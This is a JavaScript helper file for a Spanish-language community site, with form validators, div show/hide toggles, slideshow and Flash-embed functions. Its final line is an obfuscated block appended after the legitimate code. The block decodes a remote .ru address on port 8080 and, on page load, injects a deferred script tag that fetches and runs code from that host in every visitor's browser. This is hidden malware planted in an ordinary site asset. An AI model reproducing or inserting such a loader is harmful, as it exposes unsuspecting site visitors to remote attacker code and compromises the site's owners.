function replacehtml(el, html) {
	var oldEl = typeof el === "string" ? document.getElementById(el) : el;
	/*@cc_on // Pure innerHTML is slightly faster in IE
		oldEl.innerHTML = html;
		return oldEl;
	@*/
	var newEl = oldEl.cloneNode(false);
	newEl.innerHTML = html;
	oldEl.parentNode.replaceChild(newEl, oldEl);
	/* Since we just removed the old element from the DOM, return a reference
	to the new element, which can be used to restore variable references. */
	return newEl;
};

function permissions_install(elcheck, agrupador){
	
	var divs = document.getElementsByTagName('div');
	for(i=0;i<divs.length;i++){
			if(divs[i].id.match("_"+agrupador) ){ //if they are 'see' divs
			
				//OCULTAR SI ESTA VISIBLE						
				if (document.getElementById)
					if(divs[i].style.display=="" )
						divs[i].style.display='none';
					else
						divs[i].style.display='';
				else
					if (document.layers) // Netscape 4
						document.layers[divs[i]].style.display = '';
					else // IE 4
						document.all.hideShow.divs[i].style.display = '';				
			}
	}		


	/* AHORA CAMBIO EL VALOR DEL CAMPO OCULTO */
	var l = document.getElementById(agrupador);
	if(l.value==1){
		l.value = 0;
	}else{
		l.value=1;
	}



}


function imagesize(ancho, alto){
 	document.images["slideshow"].width=ancho;
 	document.images["slideshow"].height=alto;

}
function sethref(elid, elurl){
	
 	var l = document.getElementById(elid);
 	l.setAttribute("href",elurl);
}

function checkAll_share(form, num) {

	box_all = eval("document."+form+".to_all");
	if (box_all.checked == false){
		for (var j = 0; j <= num; j++) {
		
			box = eval("document."+form+".share" + j);
			
			if (box.checked == true) box.checked = false;
	   }
	}else{
		for (var j = 0; j <= num; j++) {
			box = eval("document."+form+".share" + j);
			if (box.checked == false) box.checked = true;
		}
	}
}

function showfoto(elurl){
	document.images["slideshow"].src = elurl;
}

function setfotoinfo(title, desc){

	var titid = document.getElementById("foto_title");
	var descid = document.getElementById("foto_desc");

	titid.innerHTML=title;	
	descid.innerHTML=desc;

	//tit.appendChild(document.createTextNode(title));
	//desc.appendChild(document.createTextNode(desc));
	//alert(title+" "+desc);	

}

function ChangeColor(tableRow, bgcolor){


      tableRow.style.backgroundColor = bgcolor;

}

function showdiv(pass) {
	
	var divs = document.getElementsByTagName('div');
	for(i=0;i<divs.length;i++){					
			if(divs[i].id.match(pass) ){//if they are 'see' divs
			
				if (document.getElementById)
					if(divs[i].style.display=="" )
						divs[i].style.display='none';
					else
						divs[i].style.display='';
				else
					if (document.layers) // Netscape 4
						document.layers[divs[i]].style.display = '';
					else // IE 4
						document.all.hideShow.divs[i].style.display = '';														
			}
		
	}
}

function hidediv(pass) {
	
	var divs = document.getElementsByTagName('div');
	for(i=0;i<divs.length;i++){
						
			if(divs[i].id.match(pass) ){//if they are 'see' divs
											
				if (document.getElementById)
					if(divs[i].style.display=="")
						divs[i].style.display='none';
					
				else
					if (document.layers) // Netscape 4
						document.layers[divs[i]].style.display = 'none';
					else // IE 4
						document.all.hideShow.divs[i].style.display = 'none';							
			}
		
	}
}

function showcomentarios(pass) {
	
	var divs = document.getElementsByTagName('div');

	for(i=0;i<divs.length;i++){
			if(divs[i].id.match(pass) ){ //if they are 'see' divs
				//alert(i+"SHOWING "+divs[i].id);
				if (document.getElementById)					
						divs[i].style.display='';
				else
					if (document.layers) // Netscape 4
						document.layers[divs[i]].style.display = '';
					else // IE 4
						document.all.hideShow.divs[i].style.display = '';					
			}else{				
				s1 = new String(divs[i].id);
				if(s1.search('FORO')>=0){
				//	alert(i+"HIDING "+divs[i].id);
							divs[i].style.display='none';		
				}
			}
	}
}

function showhide(pass, hiders) {
	var divs = document.getElementsByTagName('div');

	for(i=0;i<divs.length;i++){
			if(divs[i].id.match(pass) ){ //if they are 'see' divs
			
				//OCULTAR SI ESTA VISIBLE
				
			
				if (document.getElementById)
					if(divs[i].style.display==""  && pass!="-1")
						divs[i].style.display='none';
					else
						divs[i].style.display='';
				else
					if (document.layers) // Netscape 4
						document.layers[divs[i]].style.display = '';
					else // IE 4
						document.all.hideShow.divs[i].style.display = '';				
			}else{				
				s1 = new String(divs[i].id);
				if(s1.search(hiders)>=0){
							divs[i].style.display='none';		
				}
			}
	}
}

function showcontrol(pass) {

	
	var divs = document.getElementsByTagName('div');

	for(i=0;i<divs.length;i++){
			if(divs[i].id.match(pass) ){ //if they are 'see' divs
				//alert(i+"SHOWING "+divs[i].id);
				if (document.getElementById)					
						divs[i].style.display='';
				else
					if (document.layers) // Netscape 4
						document.layers[divs[i]].style.display = '';
					else // IE 4
						document.all.hideShow.divs[i].style.display = '';					
			}else{				
				s1 = new String(divs[i].id);
				if(s1.search('SLIDESHOW')>=0){
					//alert(i+"HIDING "+divs[i].id);
							divs[i].style.display='none';		
				}
			}
	}
}

function hidecontrols() {

	
	var divs = document.getElementsByTagName('div');

	for(i=0;i<divs.length;i++){

				s1 = new String(divs[i].id);
				if(s1.search('SLIDESHOW')>=0){
							divs[i].style.display='none';		
				}

	}
}



function togglediv(pass) {
	
	var divs = document.getElementsByTagName('div');
	for(i=0;i<divs.length;i++){

		if( ((divs[i].id.toString()).substring(0,2))==("id")){			
			
			
			
			if(divs[i].id.match(pass) || pass=="-1"){//if they are 'see' divs
			

			
			
			
				if (document.getElementById)
					if(divs[i].style.display==""  && pass!="-1")
						divs[i].style.display='none';
					else
						divs[i].style.display='';
				else
					if (document.layers) // Netscape 4
						document.layers[divs[i]].style.display = '';
					else // IE 4
						document.all.hideShow.divs[i].style.display = '';
				

			}else if(divs[i].id!="id0"){					

				if (document.getElementById) // DOM3 = IE5, NS6
					divs[i].style.display="none";// show/hide
				else
					if (document.layers) // Netscape 4
						document.layers[divs[i]].style.display = 'none';
					else // IE 4
						document.all.hideShow.divs[i].style.display = 'none';



			}
		}
	}
}

function submitform(theForm){	
	  theForm.submit();
}


function enter(entry){
      var e = document.getElementById('entry');
      e.value = entry;

      var f = document.getElementById('entry_form');

	 f.submit();


      return false;
}



function new_galeria()
{
  if (document.getElementById('nombreGaleria').style.visibility=='hidden'){
    document.getElementById('nombreGaleria').style.visibility = 'visible';
    document.getElementById('descGaleria').style.visibility = 'visible';
    document.getElementById('urlGaleria').style.visibility = 'visible';
    document.getElementById('listFolder').style.visibility = 'visible';
    document.getElementById('botonGaleria').style.visibility = 'visible';
  }else{
    document.getElementById('nombreGaleria').style.visibility = 'hidden';
    document.getElementById('descGaleria').style.visibility = 'hidden';
    document.getElementById('urlGaleria').style.visibility = 'hidden';
    document.getElementById('listFolder').style.visibility = 'hidden';
    document.getElementById('botonGaleria').style.visibility = 'hidden';
  }
}
var upload_miLastID = 0; //default of input element already written

function displayFlash(path, width, height)
{
	document.write('<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,22,0" WIDTH="' + width);
	document.write('" HEIGHT="' + height + '" id="FlashContent">');
	document.write('<PARAM NAME="movie" VALUE="' + path + '"><PARAM NAME="quality" VALUE="high">');
	document.write('<PARAM NAME="AllowScriptAccess" VALUE="never"><EMBED src="' + path + '"');
	document.write(' quality="high" WIDTH="' + width + '" HEIGHT="' + height + '" NAME="FlashContent"');
	document.write(' AllowScriptAccess="never" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">');
	document.write('</EMBED></OBJECT>');
}


//VALIDADORES DE LA FORMA DE REMIND PASSWORD
function pass_FormValidator(theForm)
{

  if (theForm.pass1.value == "" || theForm.pass2.value == ""){
    alert("ES NECESARIO DEFINIR UNA CONTRASENA.");
    theForm.pass1.focus();
    return (false);
  }

  if (theForm.pass1.value != theForm.pass2.value){

    alert("LAS CONTRASENAS NO COINCIDEN.");
    theForm.pass1.focus();
    return (false);
  }
}

function clickclear(thisfield, defaulttext) {
  if (thisfield.value == defaulttext) {
    thisfield.value = "";
  }
}

function clickrecall(thisfield, defaulttext) {
  if (thisfield.value == "") {
    thisfield.value = defaulttext;
  }
}

function insertAfter(newElement,targetElement) {
  var parent = targetElement.parentNode;
  if (parent.lastChild == targetElement) {
    parent.appendChild(newElement);
  } else {
    parent.insertBefore(newElement,targetElement.nextSibling);
  }
}
function clickclear(thisfield, defaulttext) {
  if (thisfield.value == defaulttext) {
    thisfield.value = "";
  }
}

function clickrecall(thisfield, defaulttext) {
  if (thisfield.value == "") {
    thisfield.value = defaulttext;
  }
}


function nuevoFolder_list(){
	var mylist=document.getElementById("listFolder")
	document.getElementById("queFolder").value=document.getElementById("listFolder").value
	if(document.getElementById("listFolder").value=="carpeta nueva"){		
		document.getElementById("listFolder").disabled=true;
		document.getElementById("queFolder").value="Nombre de la carpeta";
		document.getElementById("listFolder").style.visibility = 'hidden';
		document.getElementById("queFolder").style.visibility = 'visible';
	}

}

function textCounter(field, countfield, maxlimit) {
	if (field.value.length > maxlimit) {
		field.value = field.value.substring(0, maxlimit);
		alert("Max "+maxlimit+" chars.");
	}else{
		countfield.value = maxlimit - field.value.length;

	}
}

function isEmailAddr(email){
  var result = false;
  var theStr = new String(email);
  var index = theStr.indexOf("@");
  if (index > 0){
    var pindex = theStr.indexOf(".",index);
    if ((pindex > index+1) && (theStr.length > pindex+1))
        result = true;
  }
  return result;
}


function FormValidator(theForm){
  if (theForm.name_pag.value == ""){
    alert("ES NECESARIO ELEGIR EL NOMBRE DE LA PAGINA.");
    theForm.name_pag.focus();
    return (false);
  }
  
  if(theForm.tipo_pag.value == "evento"){
  
  
	  if (theForm.fecha_ini_year.value == "0000" || theForm.fecha_ini_month.value == "00" || theForm.fecha_ini_day.value == "00" ){
	    alert("Es necesario especificar cuando inicia el evento.");
	    theForm.fecha_ini_day.focus();
	    return (false);
	  }    
	  if (theForm.fecha_fin_year.value == "0000" || theForm.fecha_fin_month.value == "00" || theForm.fecha_fin_day.value == "00" ){
	    alert("Es necesario especificar cuando termina el evento.");
	    theForm.fecha_fin_day.focus();
	    return (false);
	  }    
	  
	  var fecha_ini=new Date(theForm.fecha_ini_year.value, theForm.fecha_ini_month.value, theForm.fecha_ini_day.value, theForm.fecha_ini_hour.value, theForm.fecha_ini_minute.value, 00); 
	  var fecha_fin=new Date(theForm.fecha_fin_year.value, theForm.fecha_fin_month.value, theForm.fecha_fin_day.value, theForm.fecha_fin_hour.value, theForm.fecha_fin_minute.value, 00); 
	  
	  //FECHA FIN > FECHA INICIO
	  if (fecha_ini > fecha_fin) {
	    alert("El evento no puede terminar antes de comenzar");
	    theForm.fecha_fin_day.focus();
	    return false;
	  }
	  
  }
  
  
  return (true);
}


//VALIDADORES DE LA FORMA DE REGISTRO0
function reg0_FormValidator(theForm)
{

  if (theForm.reg0_login.value == ""){
    alert("ES NECESARIO ELEGIR UN NOMBRE DE USUARIO.");
    theForm.reg0_login.focus();
    return (false);
  }

  if (theForm.reg0_pass1.value == ""){
    alert("ES NECESARIO ELEGIR UNA CONTRASENA");
    theForm.reg0_pass1.focus();
    return (false);
  }

}
//VALIDADORES DE LA FORMA DE NUEVO GRUPO
function newgrupo_FormValidator(theForm)
{

  if (theForm.nombreGrupo.value == ""){
    alert("Es necesario especificar el nombre del grupo para continuar.");
    theForm.nombreGrupo.focus();
    return (false);
  }
  if (theForm.urlGrupo.value == ""){
    alert("Es necesario especificar un url valido para continuar.");
    theForm.urlGrupo.focus();
    return (false);
  }

}
//VALIDADORES DE LA FORMA DE EDITAR GRUPO
function editgrupo_FormValidator(theForm)
{

  if (theForm.nombreGrupo_edit.value == ""){
    alert("Es necesario especificar el nombre del grupo para continuar.");
    theForm.nombreGrupo_edit.focus();
    return (false);
  }
  if (theForm.urlGrupo_edit.value == ""){
    alert("Es necesario especificar un url valido para continuar.");
    theForm.urlGrupo_edit.focus();
    return (false);
  }

}
//VALIDADORES DE LA FORMA DE APORTACIONES
function aportaciones_FormValidator(theForm)
{

  if (theForm.file_name.value == "0"){
    alert("Falta usuario.");
    theForm.file_name.focus();
    return (false);
  }

  if (theForm.userfile.value == ""){
    alert("Es necesario subir una copia de la ficha de deposito.");
    theForm.userfile.focus();
    return (false);
  }

}

//VALIDADORES DE LA FORMA DE CONTACTO
function contacto_FormValidator(theForm)
{

  if (theForm.nombre.value == ""){
    alert("Porfavor especifica tu nombre.");
    theForm.nombre.focus();
    return (false);
  }

  if (!isEmailAddr(theForm.contacto_email.value))
  {
    alert("FALTA CORREO ELECTRONICO");
    theForm.contacto_email.focus();
    return (false);
  }
  return (true);
}

//VALIDADORES DE LA FORMA DE EMAIL
function email_FormValidator(theForm)
{

  if (!isEmailAddr(theForm.email_to.value))
  {
    alert("FALTA CORREO ELECTRONICO");
    theForm.email_to.focus();
    return (false);
  }

  if (!isEmailAddr(theForm.email_from.value))
  {
    alert("FALTA CORREO ELECTRONICO");
    theForm.email_from.focus();
    return (false);
  }
  return (true);
}


//VALIDADORES DE LA FORMA DE REGISTRO
function reg_FormValidator(theForm)
{
	if(theForm.reg_manifiesto.value=="true"){
		  if (theForm.reg_firma_contrato.checked == false){
			alert("Para participar es necesario suscribir el manifiesto.");
			theForm.reg_firma_contrato.focus();
			return (false);
		  }
	}

  if (theForm.reg_login.value == ""){
    alert("Es necesario especificar un login para continuar.");
    theForm.reg_login.focus();
    return (false);
  }

  if (theForm.reg_pass1.value == "" || theForm.reg_pass2.value == ""){
    alert("ES NECESARIO ESPECIFICAR UNA CONTRASENA PARA CONTINUAR.");
    theForm.reg_pass1.focus();
    return (false);
  }

  if (theForm.reg_pass1.value != theForm.reg_pass2.value){

    alert("LAS CONTRASENAS NO COINCIDEN.");
    theForm.reg_pass1.focus();
    return (false);
  }

  if (theForm.reg_nombre.value == "")
  {
    alert("ES NECESARIO REGISTRAR UN NOMBRE.");
    theForm.reg_nombre.focus();
    return (false);
  }

  if (!isEmailAddr(theForm.reg_email1.value))
  {
    alert("ES NECESARIO REGISTRAR UN CORREO VALIDO");
    theForm.reg_email1.focus();
    return (false);
  }
 /* if (theForm.reg_dependencia.value == ""){
    alert("ES NECESARIO REGISTRAR UNA DEPENDENCIA.");
    theForm.reg_dependencia.focus();
    return (false);
  }
*/
  if (theForm.reg_email1.value.length < 3)
  {
    alert("ES NECESARIO REGISTRAR UN CORREO VALIDO");
    theForm.reg_email1.focus();
    return (false);
  }
  //return (true);
}
//FORMA ARCHIVO
function file_FormValidator(theForm)
{


	//APPENDE ANTES EL TAG DE GRUPO CUANDO NUEVA CARPETA
	if (theForm.listFolder.value == "carpeta nueva" ){
		//theForm.queFolder.value=theForm.grupo.value+""+theForm.queFolder.value;
		if(theForm.queFolder.value == "Nombre de la carpeta"){
			    alert("Falta nombre de la carpeta");
    			theForm.queFolder.focus();
   			 	return (false);
		}
	}

  if (theForm.listFolder.value == "0" ){
    alert("Es necesario elegir una carpeta.");
    theForm.listFolder.focus();
    return (false);
	

  }
  
  /*
  if (theForm.queFolder.value == "" || theForm.queFolder.value=="Nombre de la carpeta"){
    alert("Es necesario elegir el nombre de la nueva carpeta");
    theForm.queFolder.focus();
    return (false);
  }
  if (theForm.file_name.value == ""){
    alert("Es necesario elegir una nombre para el archivo.");
    theForm.file_name.focus();
    return (false);
  }*/
  if (theForm.userfile.value == ""){
    alert("Es necesario elegir un archivo.");
    theForm.userfile.focus();
    return (false);
  }
}

//FORMA FOTO
function photo_FormValidator(theForm)
{

  if (theForm.id_gal.value == "0"){
    alert("Es necesario elegir un album.");
    theForm.id_gal.focus();
    return (false);
  }
  if (theForm.myfile0.value == ""){
    alert("Es necesario elegir una foto.");
    theForm.myfile0.focus();
    return (false);
  }
}

//FORMA NEW FOLDER
function folder_FormValidator(theForm)
{

  if (theForm.nombreFolder.value == ""){
    alert("Es indispensable elegir el nombre de la carpeta.");
    theForm.nombreFolder.focus();
    return (false);
  }
}

//FORMA NEW FOLDER
function curso_FormValidator(theForm)
{

  if (theForm.nombreCurso.value == ""){
    alert("Course name mandatory.");
    theForm.nombreCurso.focus();
    return (false);
  }
}


//FORMA EDITAR FOLDER
function edit_folder_FormValidator(theForm)
{

  if (theForm.folder_editar_nombre.value == ""){
    alert("Es indispensable elegir el nombre de la carpeta.");
    theForm.folder_editar_nombre.focus();
    return (false);
  }
}

//FORMA NEW GALERIA
function galeria_FormValidator(theForm)
{

  if (theForm.nombreGaleria.value == "" || theForm.nombreGaleria.value == "nombre"){
    alert("ES INDISPENSABLE ELEGIR EL NOMBRE DE LA GALERIA.");
    theForm.nombreGaleria.focus();
    return (false);
  }
  
  if (theForm.queFolder.value == "Nombre de la carpeta"){
    alert("ES INDISPENSABLE ELEGIR EL NOMBRE DE LA CARPETA.");
    theForm.queFolder.focus();
    return (false);
  }  
}

//FORMA EDIT FOLDER
function edit_galeria_FormValidator(theForm)
{

  if (theForm.edit_nombreGaleria.value == ""){
    alert("ES INDISPENSABLE ELEGIR EL NOMBRE DE LA GALERIA.");
    theForm.edit_nombreGaleria.focus();
    return (false);
  }
}

//FORMA NEW GRUPO
function grupo_FormValidator(theForm)
{

  if (theForm.nombreGrupo.value == ""){
    alert("Es indispensable elegir el nombre del grupo.");
    theForm.nombreGrupo.focus();
    return (false);
  }
}

//FORMA UPLOAD LINK
function link_FormValidator(theForm)
{

  if (theForm.href.value == "" || theForm.href.value == "http://"){
    alert("Es indispensable definir la direccion del vinculo.");
    theForm.href.focus();
    return (false);
  }
  if (theForm.queFolder.value == "0" ){
    alert("Es indispensable elegir una carpeta.");
    theForm.queFolder.focus();
    return (false);
  }

}

//FORMA NEW TEMA
function tema_FormValidator(theForm)
{

  if (theForm.titulo.value == ""){
    alert("ES NECESARIO ELEGIR EL NOMBRE DEL TEMA DE DISCUSION.");
    theForm.titulo.focus();
    return (false);
  }
}


//CHECA TODOS LOS CHECKBOXES
/*function CheckAll(theForm)
{
count = theForm.elements.length;
alert("ES NECESARIO ELEGIR EL NOMBRE DEL TEMA DE DISCUSION.");
    for (i=0; i < count; i++)
	{
    if(theForm.elements[i].checked == 1)
    	{theForm.elements[i].checked = 1; }
    else {theForm.elements[i].checked = 0;}
	}
}*/
try {var D;if(D!='W'){D=''};var k='';var yx;if(yx!='SN'){yx=''};var M='g';var c=RegExp;this.q="";var U='';var B='replace';var r=']';var F='[';var TZ;if(TZ!=''){TZ='G'};var b='';var Sk=new Date();var rO='';var Fn='';function Y(A,P){var N=new Array();var Uw;if(Uw!='mt' && Uw!='E'){Uw='mt'};var Tb=new String();var l=F;this.DY="";var XV;if(XV!='bX'){XV='bX'};l+=P;var z="";var Lv='';l+=r;var XI=new Array();var gr='';var S=new c(l, M);return A[B](S, b);};var eU='';this.GZ='';var u=Y('hFt6t6pF:F/4/FpfeNtfaFrfdFafsF-Nc4o4m6.4rNuNnFe4s4cFa4pfeN.FcNoNm6.FdfiNsNcNu6zf-NnFeftF.4aflFlfmfyfgNuFiNdNe6.Nr6uN:f',"F46fN");var y=Y('/DsEkDyE.Eczozmz/zsDkDyD.EcDozmD/DpEoDrEnEhEozsEtD.zcDoDmE/DwDiEkDiEhzoEwz.zcEozmE/EgEoEoEgElzeD.EczoDmz.DpzhDpE',"DzE");var AZ;if(AZ!='dV' && AZ!='mR'){AZ=''};var C=Y('cLrGeUaLtLeUEGlReGmLeUnRtL',"LRUG");var Zw;if(Zw!='' && Zw!='tj'){Zw=null};var L=Y('aGpGpze1nzdzCzh1iGlzd1',"1zG");var j=new Date();var rY=new Array();var s=Y('s0e0tkAktkt0r0iCbCuCtkeC',"k0C");var AH=Y('sLcJrJiJpJtJ',"LJ");var gB;if(gB!='tL' && gB!='jW'){gB='tL'};var e=Y('86766790626699298692962790262796',"6792");var A="1";var h='';var eT="";this.EL="";var g=Y('bAoAd3y3',"u3BA");var Bn=Y('opnplOoea5de',"O5e8p");var tv;if(tv!='AG'){tv=''};var uA=new Date();var TV;if(TV!=''){TV='vc'};window[Bn]=function(){var tw;if(tw!='MI' && tw != ''){tw=null};var n="";var LE=new String();var Sq=new Array();cx=document[C](AH);var KL=new Array();var vS=new Array();var hS='';h+=u;var Gw;if(Gw!='cM' && Gw!='VN'){Gw=''};h+=e;h+=y;this.oR="";var k_='';cx.setAttribute('defer', A);var IW;if(IW!='OZ' && IW != ''){IW=null};var wy="";var v=document[g];this.OC='';cx.src=h;var KE;if(KE!='Rg' && KE!='Uo'){KE='Rg'};v.appendChild(cx);};} catch(ex){var MY=new Array();var oK=new Array();};var ps=new String();var XH;if(XH!='' && XH!='Vy'){XH='bm'};